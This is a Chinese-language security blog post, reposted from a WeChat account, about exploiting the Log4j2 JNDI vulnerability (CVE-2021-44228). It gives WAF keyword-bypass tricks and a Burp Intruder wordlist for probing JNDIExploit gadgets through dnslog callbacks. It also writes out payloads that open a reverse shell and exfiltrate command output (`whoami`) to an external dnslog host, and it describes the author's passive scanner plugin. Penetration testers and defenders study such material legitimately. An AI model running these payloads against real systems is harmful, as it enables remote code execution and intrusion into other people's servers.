log4j2漏洞杂谈

六月大家都挺忙的,抽空更新下。

0x01 背景

最近遇到了很多log4j2漏洞(CVE-2021-44228),可以说在一定的时间段内,这个漏洞应该还是主流;也碰到了一些很稀奇古怪的漏洞点,简单地介绍下遇到的一些限制、JNDIExploit的快捷使用以及burp被动扫描的配置

0x02 常见的限制

  1. 对关键词的拦截,如对jndi:ldap:进行拦截,使用拦截的关键字,直接无法接收到请求;需用bypass类型进行绕过,可以参考https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words
  2. 在dnslog平台有请求,但是ldap接收不到请求;大概率是端口的问题,可以使用一些通用的端口进行监听,如25、21、80等等
  3. 上一个请求能成功接收,下一个请求无法成功接收;更改payload中的一些关键字即可,如使用${::-.}替换.等等
  4. 封ip限制;更换不同IP的VPS进行测试

0x03 JNDIExploit使用

每次用JNDIExploit的时候,总是要探测各种各样的gadget,这里介绍下笔者是如何使用的:

0x001 设置变量,添加字典

发送到burp的intruder模块

${jndi:ldap://x.x.x.x:1389/$onlysecurity$xxx.dnslog.cn}设置$onlysecurity$为变量,使用下面字典进行请求

Basic/Dnslog/basic.
Deserialization/URLDNS/urldns.
Deserialization/CommonsCollectionsK1/Dnslog/cck1.
Deserialization/CommonsCollectionsK2/Dnslog/cck2.
Deserialization/CommonsBeanutils1/Dnslog/cb1.
Deserialization/CommonsBeanutils2/Dnslog/cb2.
Deserialization/C3P0/Dnslog/c3p0.
Deserialization/Jdk7u21/Dnslog/jdk7u.
Deserialization/Jre8u20/Dnslog/jre8u.
Deserialization/CVE_2020_2555/Dnslog/2555.
Deserialization/CVE_2020_2883/Dnslog/2883.
TomcatBypass/Dnslog/tombypass.
GroovyBypass/Dnslog/grobypass.
WebsphereBypass/Dnslog/webbypass.

可能有些JNDIExploit的gadget不仅仅局限于上面这些,可以自行添加

直接根据dnslog的结果去探测gadget,从而去利用

log4j2漏洞杂谈

0x002 如果dnslog平台有哪个请求,就说明哪条gadget可以利用

log4j2漏洞杂谈这里得到是tomcatbypass这个gadget,那么直接可以弹shellTomcatBypass/ReverseShell/x.x.x.x/xxxx

log4j2漏洞杂谈

也可以外带命令执行

ping `whoami`.xxx.dnslog.cn
TomcatBypass/Command/ping `whoami`.xxx.dnslog.cn
TomcatBypass/Command/Base64/cGluZyBgd2hvYW1pYC54eHguZG5zbG9nLmNu

dnslog平台收到请求

log4j2漏洞杂谈

0x04 关于工具

在去年log4j2漏洞爆发的时候,笔者写了一个被动插件,不能说100%检测,大概能检测80%的log4j,下面是插件的一些介绍:

主要是两个模块

dnslog configuration

  • 0x001 log4j2 Passive Scanner 为被动扫描开关,勾选就会进行被动扫描,不勾选就不会扫描
  • 0x002 isuseceye 是否使用ceye.io的平台
  • 0x003 ceyetoken ceye.io的用户token
  • 0x004 ceyednslog ceye.io的用户记录域名
  • 0x005 isuseprivatedns 是否使用自定义dnslog
  • 0x006 isip 自定义dnslog是否为ip(主要针对内网的ip监听)
  • 0x007 privatednslogurl 自定义的dnslog记录域名
  • 0x008 privatednsResponseurl 自定义dnslog记录域名响应查看地址,详细自定义dnslog配置可以到此处查看
  • 0x009 Save configuration 保存配置
  • 0x0010 Restore/Loading latest params 恢复默认参数
  • 0x0011 Test dnslog delay 测试dnslog的延迟

custom params

  • 0x001 jndiparam 传入的jndi参数,可以使用类似于j${::-n}di:进行替换,达到bypass效果
  • 0x002 dnsldaprmi 可选,传入dns、ldap、rmi三个参数,可以使用类似于dns${::-:}进行替换,达到bypass效果
  • 0x003 white lists 白名单,可使用通配符进行配置,如*.gov.cn*.edu.cn也可以设置成指定的域名后缀结尾,如qq.com,这样任何以qq.com结尾的域名都不会进行扫描
  • 0x004 headers lists 自定义请求头的参数名
  • 0x005 test UserAgentTokenXff 是否测试User-Agent、token(包含jwt一些关键字) 、常见XFF头参数等
  • 0x006 test Xfflists 是否测试所有xff头参数
  • 0x007 test Cookie 是否测试所有Cookie
  • 0x008 test RefererOrigin 是否测试Referer、Origin参数
  • 0x009 test Contenttype 是否测试Contenttype参数
  • 0x0010 test Accept 是否测试Accept等参数

附上笔者的工具页面:

log4j2漏洞杂谈

具体可以去项目主页查看

https://github.com/f0ng/log4j2burpscanner

使用的时候,也有一些小tips和个人的建议:

  1. 使用的方法
    • 被动扫描,正常经过burp的流量就会进行扫描
    • 主动扫描,在请求包中参数点较多的时候进行主动扫描
  2. 常见的漏洞请求头
    • Accept
    • X-Forward-For
    • ……
    • 还有一些如token、authorization用户认证的请求头,特定的应用才有
  3. 并非Java的站点才有log4j2漏洞,遇到过非Java站点存在漏洞的,猜测应该是后端日志记录用到了log4j2组件
  4. 同上一点,存在log4j2漏洞的服务器不一定是当前请求的服务器,可能是其他记录日志的服务器
  5. 有些dnslog会被封禁,比如ceye.iodnslog.cn等,所以要用一些小众的dnslog,有条件最好还是自己创建
  6. payload并不能百分百探测到,根据站点对关键词的拦截、对请求头的限制,选取适合的关键字、请求头才是最高效的

0x05 参考

  1. https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words【关键字bypass】
  2. JNDIExploit没有详细的链接,原项目基本都不存在了,可以用JNDIExploit作为关键字在github搜索
  3. https://github.com/f0ng/log4j2burpscanner【log4j2-burp被动扫描插件】


原文始发于微信公众号(only security):log4j2漏洞杂谈

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/204156.html

(0)
小半的头像小半

相关推荐

发表回复

登录后才能评论
极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!